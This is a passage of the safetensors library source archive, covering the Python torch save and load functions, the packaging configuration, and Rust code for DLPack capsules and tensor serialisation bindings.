The incoming tensors. Tensors need to be contiguous and dense.
metadata (`Dict[str, str]`, *optional*, defaults to `None`):
Optional text only metadata you might want to save in your header.
For instance it can be useful to specify more about the underlying
tensors. This is purely informative and does not affect tensor loading.
Returns:
`bytes`: The raw bytes representing the format
Example:
```python
from safetensors.torch import save
import torch
tensors = {"embedding": torch.zeros((512, 1024)), "attention": torch.zeros((256, 256))}
byte_data = save(tensors)
```
"""
keep_references_alive = [] # to avoid garbage collection of temporary numpy arrays while we write to disk
serialized = serialize(
_flatten_as_ptr(tensors, keep_references_alive), metadata=metadata
)
result = bytes(serialized)
return result
def save_file(
tensors: Dict[str, torch.Tensor],
filename: Union[str, os.PathLike],
metadata: Optional[Dict[str, str]] = None,
):
"""
Saves a dictionary of tensors into `filename` in safetensors format.
There is no mechanism in place to prevent the caller from modifying the data while a file save occurs,
please be wary when calling `save_file` and modifying tensors referenced in the `tensors` dict concurrently;
it may lead to corrupted files.
Args:
tensors (`Dict[str, torch.Tensor]`):
The incoming tensors. Tensors need to be contiguous and dense.
filename (`str`, or `os.PathLike`)):
The filename we're saving into.
metadata (`Dict[str, str]`, *optional*, defaults to `None`):
Optional text only metadata you might want to save in your header.
For instance it can be useful to specify more about the underlying
tensors. This is purely informative and does not affect tensor loading.
Returns:
`None`
Example:
```python
from safetensors.torch import save_file
import torch
tensors = {"embedding": torch.zeros((512, 1024)), "attention": torch.zeros((256, 256))}
save_file(tensors, "model.safetensors")
```
"""
keep_references_alive = [] # to avoid garbage collection of temporary numpy arrays while we write to disk
serialize_file(
_flatten_as_ptr(tensors, keep_references_alive), filename, metadata=metadata
)
def load_file(
filename: Union[str, os.PathLike],
device: Union[str, int] = "cpu",
*,
backend: str = "mmap",
) -> Dict[str, torch.Tensor]:
"""
Loads a safetensors file into torch format.
Args:
filename (`str`, or `os.PathLike`):
The name of the file which contains the tensors
device (`Union[str, int]`, *optional*, defaults to `cpu`):
The device where the tensors need to be located after load.
available options are all regular torch device locations.
backend (`str`, *optional*, defaults to `"mmap"`):
Storage backend used to serve tensor bytes. `"mmap"` (default)
and `"pread"` uses `pread(2)` to read tensor bytes.
Returns:
`Dict[str, torch.Tensor]`: dictionary that contains name as key, value as `torch.Tensor`
Example:
```python
from safetensors.torch import load_file
file_path = "./my_folder/bert.safetensors"
loaded = load_file(file_path)
```
"""
with safe_open(filename, framework="pt", device=device, backend=backend) as f:
return f.get_tensors()
def load(data: bytes) -> Dict[str, torch.Tensor]:
"""
Loads a safetensors file into torch format from pure bytes.
Args:
data (`bytes`):
The content of a safetensors file
Returns:
`Dict[str, torch.Tensor]`: dictionary that contains name as key, value as `torch.Tensor` on cpu
Example:
```python
from safetensors.torch import load
file_path = "./my_folder/bert.safetensors"
with open(file_path, "rb") as f:
data = f.read()
loaded = load(data)
```
"""
flat = deserialize(data)
return _view2torch(flat)
# torch.float8 formats require 2.1; we do not support these dtypes on earlier versions
_float8_e4m3fn = getattr(torch, "float8_e4m3fn", None)
_float8_e4m3fnuz = getattr(torch, "float8_e4m3fnuz", None)
_float8_e5m2 = getattr(torch, "float8_e5m2", None)
_float8_e5m2fnuz = getattr(torch, "float8_e5m2fnuz", None)
_float8_e8m0 = getattr(torch, "float8_e8m0fnu", None)
_float4_e2m1_x2 = getattr(torch, "float4_e2m1fn_x2", None)
_SIZE = {
torch.int64: 8,
torch.float32: 4,
torch.int32: 4,
torch.bfloat16: 2,
torch.float16: 2,
torch.int16: 2,
torch.uint8: 1,
torch.int8: 1,
torch.bool: 1,
torch.float64: 8,
torch.complex64: 8,
_float8_e4m3fn: 1,
_float8_e4m3fnuz: 1,
_float8_e5m2: 1,
_float8_e5m2fnuz: 1,
_float8_e8m0: 1,
_float4_e2m1_x2: 1,
}
if hasattr(torch, "uint64"): # Torch 2.3.0+
_SIZE.update(
{
torch.uint64: 8,
torch.uint32: 4,
torch.uint16: 2,
}
)
_TYPES = {
"F64": torch.float64,
"F32": torch.float32,
"F16": torch.float16,
"BF16": torch.bfloat16,
"I64": torch.int64,
"I32": torch.int32,
"I16": torch.int16,
"I8": torch.int8,
"U8": torch.uint8,
"BOOL": torch.bool,
"F8_E4M3": _float8_e4m3fn,
"F8_E4M3FNUZ": _float8_e4m3fnuz,
"F8_E5M2": _float8_e5m2,
"F8_E5M2FNUZ": _float8_e5m2fnuz,
"C64": torch.complex64,
}
if hasattr(torch, "uint64"): # Torch 2.3.0+
_TYPES.update(
{
"U64": torch.uint64,
"U32": torch.uint32,
"U16": torch.uint16,
}
)
def _getdtype(dtype_str: str) -> torch.dtype:
return _TYPES[dtype_str]
def _view2torch(safeview) -> Dict[str, torch.Tensor]:
result = {}
for k, v in safeview:
dtype = _getdtype(v["dtype"])
if len(v["data"]) == 0:
# Workaround because frombuffer doesn't accept zero-size tensors
assert any(x == 0 for x in v["shape"])
arr = torch.empty(v["shape"], dtype=dtype)
else:
arr = torch.frombuffer(v["data"], dtype=dtype).reshape(v["shape"])
if sys.byteorder == "big":
arr = torch.from_numpy(arr.numpy().byteswap(inplace=False))
result[k] = arr
return result
def _to_ndarray(tensor: torch.Tensor):
if tensor.device.type != "cpu":
# Moving tensor to cpu before saving
tensor = tensor.to("cpu")
import ctypes
import numpy as np
# When shape is empty (scalar), np.prod returns a float
# we need a int for the following calculations
length = int(np.prod(tensor.shape).item())
bytes_per_item = _SIZE[tensor.dtype]
total_bytes = length * bytes_per_item
ptr = tensor.data_ptr()
if ptr == 0:
return np.empty(
0
), 0 # XXX: bogus value we don't really care if we return a tensor here
newptr = ctypes.cast(ptr, ctypes.POINTER(ctypes.c_ubyte))
data = np.ctypeslib.as_array(newptr, (total_bytes,)) # no internal copy
if sys.byteorder == "big":
NPDTYPES = {
torch.int64: np.int64,
torch.float32: np.float32,
torch.int32: np.int32,
# XXX: This is ok because both have the same width
torch.bfloat16: np.float16,
torch.float16: np.float16,
torch.int16: np.int16,
torch.uint8: np.uint8,
torch.int8: np.int8,
torch.bool: bool,
torch.float64: np.float64,
# XXX: This is ok because both have the same width and byteswap is a no-op anyway
_float8_e4m3fn: np.uint8,
_float8_e4m3fnuz: np.uint8,
_float8_e5m2: np.uint8,
_float8_e5m2fnuz: np.uint8,
_float8_e8m0: np.uint8,
_float4_e2m1_x2: np.uint8,
torch.complex64: np.complex64,
}
npdtype = NPDTYPES[tensor.dtype]
# Not in place as that would potentially modify a live running model
data = data.view(npdtype).byteswap(inplace=False)
return data, tensor
def _evaluate_tensors_for_save(tensors: Dict[str, torch.Tensor]) -> None:
if not isinstance(tensors, dict):
raise ValueError(
f"Expected a dict of [str, torch.Tensor] but received {type(tensors)}"
)
sparse_tensors = []
for k, v in tensors.items():
if not isinstance(v, torch.Tensor):
raise ValueError(
f"Key `{k}` is invalid, expected torch.Tensor but received {type(v)}"
)
if v.layout != torch.strided:
sparse_tensors.append(k)
if sparse_tensors:
raise ValueError(
f"You are trying to save a sparse tensors: `{sparse_tensors}` which this library does not support."
" You can make it a dense tensor before saving with `.to_dense()` but be aware this might"
" make a much larger file than needed."
)
shared_pointers = _find_shared_tensors(tensors)
failing = []
for names in shared_pointers:
if len(names) > 1:
failing.append(names)
if failing:
raise RuntimeError(
f"""
Some tensors share memory, this will lead to duplicate memory on disk and potential differences when loading them again: {failing}.
A potential way to correctly save your model is to use `save_model`.
More information at https://huggingface.co/docs/safetensors/torch_shared_tensors
"""
)
def _flatten_as_ptr(
tensors: Dict[str, torch.Tensor], keep_alive_buffer: List
) -> Dict[str, Dict[str, Any]]:
_evaluate_tensors_for_save(tensors)
flattened = {}
for k, v in tensors.items():
# XXX: doing this check later on instead of in _evaluate_tensors_for_save
# since on old versions of torch, SparseTensorImpl do not implement is_contiguous
# and we do the sparsity check in _evaluate_tensors_for_save.
if not v.is_contiguous():
raise ValueError(
f"You are trying to save a non contiguous tensor: `{k}` which is not allowed. It either means you"
" are trying to save tensors which are reference of each other in which case it's recommended to save"
" only the full tensors, and reslice at load time, or simply call `.contiguous()` on your tensor to"
" pack it before saving."
)
arr, tensor_ref = _to_ndarray(v)
keep_alive_buffer.append((arr, tensor_ref))
flattened[k] = TensorSpec(
dtype=str(v.dtype).split(".")[-1],
shape=v.shape,
data_ptr=arr.ctypes.data,
data_len=arr.nbytes,
)
return flattened
safetensors-safetensors-a406ca3/bindings/python/pyproject.toml 0000664 0000000 0000000 00000006006 15211744761 0025047 0 ustar 00root root 0000000 0000000 [project]
name = 'safetensors'
requires-python = '>=3.10'
authors = [
{ name = 'Nicolas Patry', email = 'patry.nicolas@protonmail.com' },
{ name = "Luc Georges", email = 'luc@huggingface.co' },
{ name = "Daniël De Kok", email = 'daniel.dekok@huggingface.co' },
]
classifiers = [
"Development Status :: 5 - Production/Stable",
"Intended Audience :: Developers",
"Intended Audience :: Education",
"Intended Audience :: Science/Research",
"License :: OSI Approved :: Apache Software License",
"Operating System :: OS Independent",
"Programming Language :: Python :: 3",
"Programming Language :: Python :: 3.10",
"Programming Language :: Python :: 3.11",
"Programming Language :: Python :: 3.12",
"Programming Language :: Python :: 3.13",
"Programming Language :: Python :: 3.14",
"Topic :: Scientific/Engineering :: Artificial Intelligence",
"Typing :: Typed",
]
license = { file = "LICENSE" }
dynamic = ['description', 'readme', 'version']
[project.urls]
Homepage = 'https://github.com/huggingface/safetensors'
Source = 'https://github.com/huggingface/safetensors'
[project.optional-dependencies]
numpy = ["numpy>=1.24.6"]
torch = ["safetensors[numpy]", "torch>=2.4"]
tensorflow = ["safetensors[numpy]", "tensorflow>=2.11.0"]
tf-nightly = ["safetensors[numpy]", "tf-nightly"]
# pinning tf version 2.11.0 for doc-builder
pinned-tf = ["safetensors[numpy]", "tensorflow==2.18.0"]
jax = ["safetensors[numpy]", "flax>=0.6.3", "jax>=0.3.25", "jaxlib>=0.3.25"]
mlx = ["mlx>=0.0.9"]
paddlepaddle = ["safetensors[numpy]", "paddlepaddle>=2.4.1"]
convert = ["safetensors[torch]", "huggingface_hub>=1.4"]
quality = [
"ruff", # after updating to black 2023, also update Python version in pyproject.toml to 3.7
]
testing = [
"safetensors[numpy]",
"h5py>=3.7.0",
"setuptools_rust>=1.12.0",
"pytest>=9.0",
"pytest-benchmark>=5.2",
# "python-afl>=0.7.3",
"hypothesis>=6.70.2",
"fsspec>=2024.6.0",
"s3fs>=2024.6.0",
]
all = [
"safetensors[torch]",
"safetensors[numpy]",
"safetensors[jax]",
"safetensors[paddlepaddle]",
"safetensors[convert]",
"safetensors[quality]",
"safetensors[testing]",
]
dev = ["safetensors[all]", "safetensors[pinned-tf]"]
[build-system]
requires = ["maturin>=1.0,<2.0"]
build-backend = "maturin"
[tool.uv]
# `tensorflow`, `tf-nightly`, and `pinned-tf` pin mutually-incompatible TF
# versions, so uv's universal lock can't satisfy them simultaneously.
# `all` deliberately omits TF; `dev` adds `pinned-tf` explicitly, which is
# why `dev` must also be declared incompatible with the other TF extras.
conflicts = [
[
{ extra = "tensorflow" },
{ extra = "tf-nightly" },
{ extra = "pinned-tf" },
],
[
{ extra = "dev" },
{ extra = "tensorflow" },
],
[
{ extra = "dev" },
{ extra = "tf-nightly" },
],
]
[tool.maturin]
python-source = "py_src"
module-name = "safetensors._safetensors_rust"
bindings = 'pyo3'
features = ["pyo3/extension-module"]
[tool.black]
line-length = 119
target-version = ['py310']
[tool.setuptools.dynamic]
readme = { file = ["README.rst"] }
safetensors-safetensors-a406ca3/bindings/python/setup.cfg 0000664 0000000 0000000 00000001704 15211744761 0023754 0 ustar 00root root 0000000 0000000 [isort]
default_section = FIRSTPARTY
ensure_newline_before_comments = True
force_grid_wrap = 0
include_trailing_comma = True
known_first_party = transformers
known_third_party =
absl
conllu
datasets
elasticsearch
fairseq
faiss-cpu
fastprogress
fire
fugashi
git
h5py
matplotlib
nltk
numpy
packaging
pandas
PIL
psutil
pytest
pytorch_lightning
rouge_score
sacrebleu
seqeval
sklearn
streamlit
tensorboardX
tensorflow
tensorflow_datasets
timeout_decorator
torch
torchaudio
torchtext
torchvision
torch_xla
tqdm
paddlepaddle
line_length = 119
lines_after_imports = 2
multi_line_output = 3
use_parentheses = True
[flake8]
ignore = E203, E501, E741, W503, W605
max-line-length = 119
[tool:pytest]
doctest_optionflags=NUMBER NORMALIZE_WHITESPACE ELLIPSIS
filterwarnings =
error::pytest.PytestUnhandledThreadExceptionWarning safetensors-safetensors-a406ca3/bindings/python/src/ 0000775 0000000 0000000 00000000000 15211744761 0022720 5 ustar 00root root 0000000 0000000 safetensors-safetensors-a406ca3/bindings/python/src/dlpack.rs 0000664 0000000 0000000 00000021123 15211744761 0024523 0 ustar 00root root 0000000 0000000 //! DLPack v0 producer + Python capsule wrapping.
use std::ffi::{c_char, c_void};
use pyo3::prelude::*;
use safetensors::Dtype;
use crate::metal::MTLBuffer;
// The structs and enums below are the ABI consumers read across the FFI
// boundary, so they must match the DLPack C definitions byte-for-byte
// (layout, field order, enum discriminants). Do not reorder or change
// representations without checking against the canonical header:
// https://github.com/dmlc/dlpack/blob/main/include/dlpack/dlpack.h
#[repr(i32)]
#[derive(Clone, Copy, Debug, PartialEq, Eq)]
pub enum DLDeviceType {
Cpu = 1,
Cuda = 2,
Metal = 8,
}
#[repr(u8)]
#[derive(Clone, Copy, Debug, PartialEq, Eq)]
pub enum DLDataTypeCode {
Int = 0,
UInt = 1,
Float = 2,
OpaqueHandle = 3,
Bfloat = 4,
Complex = 5,
Bool = 6,
}
#[repr(C)]
#[derive(Clone, Copy, Debug)]
pub struct DLDataType {
pub code: DLDataTypeCode,
pub bits: u8,
pub lanes: u16,
}
#[repr(C)]
#[derive(Clone, Copy, Debug)]
pub struct DLDevice {
pub device_type: DLDeviceType,
pub device_id: i32,
}
#[repr(C)]
#[derive(Debug)]
pub struct DLTensor {
pub data: *mut c_void,
pub device: DLDevice,
pub ndim: i32,
pub dtype: DLDataType,
pub shape: *mut i64,
/// `null` means row-major C-contiguous per the DLPack spec; we rely
/// on that to skip allocating a strides array.
pub strides: *mut i64,
pub byte_offset: u64,
}
#[repr(C)]
pub struct DLManagedTensor {
pub dl_tensor: DLTensor,
pub manager_ctx: *mut c_void,
pub deleter: Option,
}
const CAPSULE_NAME: &[u8] = b"dltensor\0";
/// Source of the `data` pointer [`to_capsule`] writes into the `DLTensor`.
///
/// Invariant relied on by [`to_capsule`]: the pointer must stay valid as long
/// as `self` is alive and be unaffected by moving `self`. `to_capsule` reads
/// it once, then moves the buffer into [`ManagedCtx`], which keeps it alive
/// until `managed_tensor_deleter` runs.
pub(crate) trait AsDevicePtr: Send + 'static {
fn as_device_ptr(&self) -> *mut c_void;
}
impl AsDevicePtr for MTLBuffer {
fn as_device_ptr(&self) -> *mut c_void {
// PyTorch's MPS from_dlpack reads `data` as `id` and
// looks it up in the MPS allocator's buffer table; passing
// `contents()` is interpreted as a key into a different region
// and segfaults.
//
// This is the address of the Obj-C buffer object, not the
// `Retained`/`MTLBuffer` wrapper, so it survives the wrapper moving
// into `ManagedCtx` and stays valid until that ctx drops the
// `Retained`, satisfying the `AsDevicePtr` invariant.
self.as_metal_id_ptr()
}
}
struct ManagedCtx {
_device_buf: B,
/// Boxed slice (not `Vec`) so the pointer + length stay stable without
/// tracking capacity; `DLTensor.shape` points into this.
shape: Box<[i64]>,
}
/// # Safety
///
/// `self_ptr` must have been produced by [`to_capsule`] with the same `B`
/// and not deleted before.
unsafe extern "C" fn managed_tensor_deleter(self_ptr: *mut DLManagedTensor) {
if self_ptr.is_null() {
return;
}
let ctx_ptr = unsafe { (*self_ptr).manager_ctx as *mut ManagedCtx };
if !ctx_ptr.is_null() {
unsafe { drop(Box::from_raw(ctx_ptr)) };
}
unsafe { drop(Box::from_raw(self_ptr)) };
}
pub(crate) fn dtype_to_dlpack(dtype: Dtype) -> DLDataType {
let bits = dtype.bitsize() as u8;
let code = match dtype {
Dtype::BOOL => DLDataTypeCode::Bool,
Dtype::I8 | Dtype::I16 | Dtype::I32 | Dtype::I64 => DLDataTypeCode::Int,
Dtype::U8 | Dtype::U16 | Dtype::U32 | Dtype::U64 => DLDataTypeCode::UInt,
Dtype::F16 | Dtype::F32 | Dtype::F64 => DLDataTypeCode::Float,
Dtype::BF16 => DLDataTypeCode::Bfloat,
Dtype::C64 => DLDataTypeCode::Complex,
_ => DLDataTypeCode::OpaqueHandle,
};
DLDataType {
code,
bits,
lanes: 1,
}
}
/// Whether torch's `from_dlpack` accepts this dtype natively. F4/F6/F8
/// variants have DLPack v1.0 codes (8..=18) that PyTorch doesn't accept yet
/// (raises `BufferError: Unsupported code 3`); for those the MPS path emits
/// a `uint8` capsule and the consumer `.view()`s to reinterpret.
pub(crate) fn dlpack_supported_native(dtype: Dtype) -> bool {
matches!(
dtype,
Dtype::BOOL
| Dtype::I8
| Dtype::I16
| Dtype::I32
| Dtype::I64
| Dtype::U8
| Dtype::U16
| Dtype::U32
| Dtype::U64
| Dtype::F16
| Dtype::F32
| Dtype::F64
| Dtype::BF16
| Dtype::C64
)
}
/// For dtypes torch doesn't accept via DLPack natively, the corresponding
/// `torch.` name we can `.view()` to after importing as `uint8`.
/// `None` means there's no torch equivalent at all (fall back to copy path).
pub(crate) fn torch_view_target(dtype: Dtype) -> Option<&'static str> {
Some(match dtype {
Dtype::F4 => "float4_e2m1fn_x2",
Dtype::F8_E5M2 => "float8_e5m2",
Dtype::F8_E4M3 => "float8_e4m3fn",
Dtype::F8_E8M0 => "float8_e8m0fnu",
_ => return None,
})
}
/// `uint8` capsule dtype. Used as the wire dtype for `view`-cast targets.
pub(crate) fn uint8_dlpack() -> DLDataType {
DLDataType {
code: DLDataTypeCode::UInt,
bits: 8,
lanes: 1,
}
}
/// Whether torch's MPS fast path can ingest this dtype, either via native
/// DLPack support or via the `uint8 + view`-cast workaround.
pub(crate) fn torch_mps_compatible(dtype: Dtype) -> bool {
dlpack_supported_native(dtype) || torch_view_target(dtype).is_some()
}
#[allow(dead_code)]
pub(crate) fn cpu_device() -> DLDevice {
DLDevice {
device_type: DLDeviceType::Cpu,
device_id: 0,
}
}
#[allow(dead_code)]
pub(crate) fn cuda_device(ordinal: i32) -> DLDevice {
DLDevice {
device_type: DLDeviceType::Cuda,
device_id: ordinal,
}
}
pub(crate) fn metal_device() -> DLDevice {
DLDevice {
device_type: DLDeviceType::Metal,
device_id: 0,
}
}
/// On `PyCapsule_New` failure we invoke the deleter so the device buffer
/// doesn't leak.
pub(crate) fn to_capsule(
py: Python<'_>,
device_buf: B,
shape: Vec,
dtype: DLDataType,
device: DLDevice,
) -> PyResult> {
let ndim = shape.len() as i32;
let data = device_buf.as_device_ptr();
let ctx = Box::new(ManagedCtx {
_device_buf: device_buf,
shape: shape.into_boxed_slice(),
});
let shape_ptr = ctx.shape.as_ptr() as *mut i64;
let ctx_ptr = Box::into_raw(ctx);
// Hand the `DLManagedTensor` to the capsule. `managed_tensor_deleter`
// (invoked when the capsule is dropped or consumed) reclaims both the
// `ManagedCtx` (which owns the device buffer + shape) AND the
// `DLManagedTensor` itself via `Box::from_raw`, so no leak on drop.
let managed = Box::into_raw(Box::new(DLManagedTensor {
dl_tensor: DLTensor {
data,
device,
ndim,
dtype,
shape: shape_ptr,
strides: std::ptr::null_mut(),
byte_offset: 0,
},
manager_ctx: ctx_ptr as *mut c_void,
deleter: Some(managed_tensor_deleter::),
}));
let name_ptr = CAPSULE_NAME.as_ptr() as *const c_char;
// SAFETY: for all the following unsafe calls, all data was produced by this function and is valid each the call.
// In case of failure, we clean up the managed tensor ourselves to avoid leaks, since the capsule destructor won't run.
let capsule_ptr = unsafe {
pyo3::ffi::PyCapsule_New(managed as *mut c_void, name_ptr, Some(capsule_destructor))
};
if capsule_ptr.is_null() {
unsafe { managed_tensor_deleter::(managed) };
return Err(PyErr::fetch(py));
}
Ok(unsafe { Bound::from_owned_ptr(py, capsule_ptr) }.unbind())
}
unsafe extern "C" fn capsule_destructor(capsule: *mut pyo3::ffi::PyObject) {
let name_ptr = CAPSULE_NAME.as_ptr() as *const c_char;
if unsafe { pyo3::ffi::PyCapsule_IsValid(capsule, name_ptr) } == 0 {
return;
}
let ptr = unsafe { pyo3::ffi::PyCapsule_GetPointer(capsule, name_ptr) };
if ptr.is_null() {
return;
}
let managed = ptr as *mut DLManagedTensor;
// SAFETY: we assume `managed` was put into the capsule by `to_capsule` and the
// capsule was never consumed (IsValid passed).
unsafe {
if let Some(deleter) = (*managed).deleter {
deleter(managed);
}
}
}
safetensors-safetensors-a406ca3/bindings/python/src/lib.rs 0000664 0000000 0000000 00000304420 15211744761 0024037 0 ustar 00root root 0000000 0000000 #![deny(missing_docs)]
//! Dummy doc
#[cfg(all(target_os = "macos", target_arch = "aarch64"))]
mod dlpack;
#[cfg(all(target_os = "macos", target_arch = "aarch64"))]
mod metal;
use core::slice;
use memmap2::{Mmap, MmapOptions};
use pyo3::exceptions::{PyException, PyFileNotFoundError};
use pyo3::prelude::*;
use pyo3::sync::OnceLockExt;
use pyo3::types::IntoPyDict;
use pyo3::types::{PyBool, PyByteArray, PyBytes, PyDict, PyEllipsis, PyList, PySlice, PyTuple};
use pyo3::Bound as PyBound;
use pyo3::{intern, PyErr};
use safetensors::slice::TensorIndexer;
use safetensors::tensor::{Dtype, Metadata, SafeTensors, TensorInfo, TensorView};
use safetensors::View;
use std::borrow::Cow;
use std::collections::HashMap;
use std::fs::File;
use std::num::NonZeroUsize;
use std::ops::Bound;
use std::path::PathBuf;
use std::sync::Arc;
use std::sync::OnceLock;
static TORCH_MODULE: OnceLock> = OnceLock::new();
static NUMPY_MODULE: OnceLock> = OnceLock::new();
static TENSORFLOW_MODULE: OnceLock> = OnceLock::new();
static FLAX_MODULE: OnceLock> = OnceLock::new();
static MLX_MODULE: OnceLock> = OnceLock::new();
static PADDLE_MODULE: OnceLock> = OnceLock::new();
#[cfg(all(target_os = "macos", target_arch = "aarch64"))]
static TORCH_MPS_DLPACK: OnceLock = OnceLock::new();
/// Describes a single tensor passed to [`serialize`] / [`serialize_file`].
///
/// Constructed from Python as `TensorSpec(dtype, shape, data_ptr, data_len)`.
/// The dtype string is validated at construction; an unknown dtype raises
/// immediately rather than failing further inside the serializer.
///
/// `shape` is the logical (header) shape: the number of elements along each
/// axis as recorded in the safetensors header. For packed dtypes like
/// `float4_e2m1fn_x2` (two F4 values per byte), callers may pass the storage
/// shape reported by their framework (e.g. `torch.Size`); the constructor
/// transparently doubles the last dimension so `spec.shape` always reflects
/// the logical element count.
///
/// SAFETY: `data_ptr` is a raw memory address. The caller must ensure the
/// underlying buffer stays alive for the duration of every `serialize` /
/// `serialize_file` call that consumes this spec.
#[pyclass(frozen, from_py_object)]
#[derive(Clone, Debug)]
struct TensorSpec {
dtype: Dtype,
shape: Vec,
data_ptr: u64,
data_len: usize,
}
#[pymethods]
impl TensorSpec {
#[new]
#[pyo3(signature = (*, dtype, shape, data_ptr, data_len))]
fn new(dtype: &str, shape: Vec, data_ptr: u64, data_len: usize) -> PyResult {
let dtype = parse_dtype_str(dtype)?;
let mut shape = shape;
// F4 packs two elements per byte; the safetensors header records the
// logical element count, so double the last dim.
if dtype == Dtype::F4 && !shape.is_empty() {
let n = shape.len();
shape[n - 1] = shape[n - 1].checked_mul(2).ok_or_else(|| {
SafetensorError::new_err(format!(
"F4 last-dim {} doubled to logical shape overflows usize",
shape[n - 1]
))
})?;
}
Ok(Self {
dtype,
shape,
data_ptr,
data_len,
})
}
/// The tensor's dtype as its safetensors format code (e.g. `"F32"`, `"BF16"`,
/// `"F8_E5M2FNUZ"`). This is the identifier written into the safetensors
/// header, not the Python constructor-style name (`"float32"` etc.).
#[getter]
fn dtype(&self) -> String {
format!("{}", self.dtype)
}
/// The tensor's logical shape: the element-count shape recorded in the
/// safetensors header. For packed dtypes like `float4_e2m1fn_x2`, this is
/// the last-dim-doubled version of whatever was passed to the constructor.
#[getter]
fn shape(&self) -> Vec {
self.shape.clone()
}
/// The raw memory address of the tensor's contiguous buffer.
#[getter]
fn data_ptr(&self) -> u64 {
self.data_ptr
}
/// The length of the tensor's buffer in bytes.
#[getter]
fn data_len(&self) -> usize {
self.data_len
}
fn __repr__(&self) -> String {
format!(
"TensorSpec(dtype='{}', shape={:?}, data_ptr={}, data_len={})",
self.dtype(),
self.shape,
self.data_ptr,
self.data_len
)
}
}
impl View for &TensorSpec {
fn dtype(&self) -> Dtype {
self.dtype
}
fn shape(&self) -> &[usize] {
&self.shape
}
fn data(&self) -> Cow<'_, [u8]> {
let p = self.data_ptr as *const u8;
// SAFETY: validated by the caller; see the struct-level safety note.
unsafe {
let slice = slice::from_raw_parts(p, self.data_len);
Cow::Borrowed(slice)
}
}
fn data_len(&self) -> usize {
self.data_len
}
}
fn parse_dtype_str(dtype: &str) -> PyResult {
Ok(match dtype {
"bool" => Dtype::BOOL,
"int8" => Dtype::I8,
"uint8" => Dtype::U8,
"int16" => Dtype::I16,
"uint16" => Dtype::U16,
"int32" => Dtype::I32,
"uint32" => Dtype::U32,
"int64" => Dtype::I64,
"uint64" => Dtype::U64,
"float16" => Dtype::F16,
"float32" => Dtype::F32,
"float64" => Dtype::F64,
"bfloat16" => Dtype::BF16,
"float8_e4m3fn" => Dtype::F8_E4M3,
"float8_e4m3fnuz" => Dtype::F8_E4M3FNUZ,
"float8_e5m2" => Dtype::F8_E5M2,
"float8_e5m2fnuz" => Dtype::F8_E5M2FNUZ,
"float8_e8m0fnu" => Dtype::F8_E8M0,
"float4_e2m1fn_x2" => Dtype::F4,
"complex64" => Dtype::C64,
other => {
return Err(SafetensorError::new_err(format!(
"Unknown dtype {other:?}. Supported dtypes: bool, int8, uint8, int16, uint16, \
int32, uint32, int64, uint64, float16, float32, float64, bfloat16, \
float8_e4m3fn, float8_e4m3fnuz, float8_e5m2, float8_e5m2fnuz, float8_e8m0fnu, \
float4_e2m1fn_x2, complex64",
)));
}
})
}
/// Serializes raw data.
///
/// NOTE: the caller is required to ensure any pointer passed via `TensorSpec.data_ptr` is valid
/// and stays alive for the duration of the serialization.
/// We will remove the need for the caller to hold references themselves when we drop support for
/// python versions prior to 3.11 where the `PyBuffer` API is available.
/// Creating a `PyBuffer` will enable us to hold a reference to each passed in data array,
/// increasing its ref count preventing the gc from collecting it while we serialize.
///
/// Args:
/// tensor_dict (`Dict[str, TensorSpec]`):
/// Mapping of tensor name to its `TensorSpec`, e.g.:
/// {"tensor_name": TensorSpec(dtype="float32", shape=[2, 3], data_ptr=1234, data_len=24)}
/// metadata (`Dict[str, str]`, *optional*):
/// The optional purely text annotations
///
/// Returns:
/// (`bytes`):
/// The serialized content.
#[pyfunction]
#[pyo3(signature = (tensor_dict, metadata=None))]
fn serialize<'b>(
py: Python<'b>,
tensor_dict: HashMap>,
metadata: Option>,
) -> PyResult> {
let out = py
.detach(|| {
safetensors::tensor::serialize(
tensor_dict.iter().map(|(k, v)| (k.as_str(), v.get())),
metadata,
)
})
.map_err(|e| SafetensorError::new_err(format!("Error while serializing: {e}")))?;
let pybytes = PyBytes::new(py, &out);
Ok(pybytes)
}
/// Serializes raw data into file.
///
/// NOTE: the caller is required to ensure any pointer passed via `TensorSpec.data_ptr` is valid
/// and stays alive for the duration of the serialization.
/// We will remove the need for the caller to hold references themselves when we drop support for
/// python versions prior to 3.11 where the `PyBuffer` API is available.
/// Creating a `PyBuffer` will enable us to hold a reference to each passed in data array,
/// increasing its ref count preventing the gc from collecting it while we serialize.
///
/// Args:
/// tensor_dict (`Dict[str, TensorSpec]`):
/// Mapping of tensor name to its `TensorSpec`, e.g.:
/// {"tensor_name": TensorSpec(dtype="float32", shape=[2, 3], data_ptr=1234, data_len=24)}
/// filename (`str`, or `os.PathLike`):
/// The name of the file to write into.
/// metadata (`Dict[str, str]`, *optional*):
/// The optional purely text annotations
///
/// Returns:
/// (`NoneType`):
/// On success return None
#[pyfunction]
#[pyo3(signature = (tensor_dict, filename, metadata=None))]
fn serialize_file(
py: Python<'_>,
tensor_dict: HashMap>,
filename: PathBuf,
metadata: Option>,
) -> PyResult<()> {
py.detach(|| {
safetensors::tensor::serialize_to_file(
tensor_dict.iter().map(|(k, v)| (k.as_str(), v.get())),
metadata,
filename.as_path(),
)
.map_err(|e| SafetensorError::new_err(format!("Error while serializing: {e}")))
})?;
Ok(())
}
/// Opens a safetensors lazily and returns tensors as asked
///
/// Args:
/// data (`bytes`):
/// The byte content of a file
///
/// Returns:
/// (`List[str, Dict[str, Dict[str, any]]]`):
/// The deserialized content is like:
/// [("tensor_name", {"shape": [2, 3], "dtype": "F32", "data":
/// b"\0\0.." }), (...)]
#[pyfunction]
#[pyo3(signature = (bytes))]
#[allow(clippy::type_complexity)]
fn deserialize(py: Python, bytes: &[u8]) -> PyResult>)>> {
let safetensor = SafeTensors::deserialize(bytes)
.map_err(|e| SafetensorError::new_err(format!("Error while deserializing: {e}")))?;
let tensors = safetensor.tensors();
let mut items = Vec::with_capacity(tensors.len());
for (tensor_name, tensor) in tensors {
let pyshape: Py = PyList::new(py, tensor.shape().iter())?.into();
let pydtype: Py = tensor.dtype().to_string().into_pyobject(py)?.into();
let pydata: Py = PyByteArray::new(py, tensor.data()).into();
let map = HashMap::from([
("shape".to_string(), pyshape),
("dtype".to_string(), pydtype),
("data".to_string(), pydata),
]);
items.push((tensor_name, map));
}
Ok(items)
}
/// Parses a Python index (`int`, `slice`, `...`, or a tuple of those) into
/// byte-range [`TensorIndexer`]s. The slice step is carried in
/// [`TensorIndexer::Narrow`]; step <= 0 is rejected.
fn parse_indexers(slices: &PyBound<'_, PyAny>, shape: &[usize]) -> PyResult> {
let py = slices.py();
let items: Vec> = if let Ok(tup) = slices.cast::() {
tup.iter().collect()
} else if let Ok(lst) = slices.cast::() {
if lst.is_empty() {
// Empty list = empty selection, matching the prior behavior.
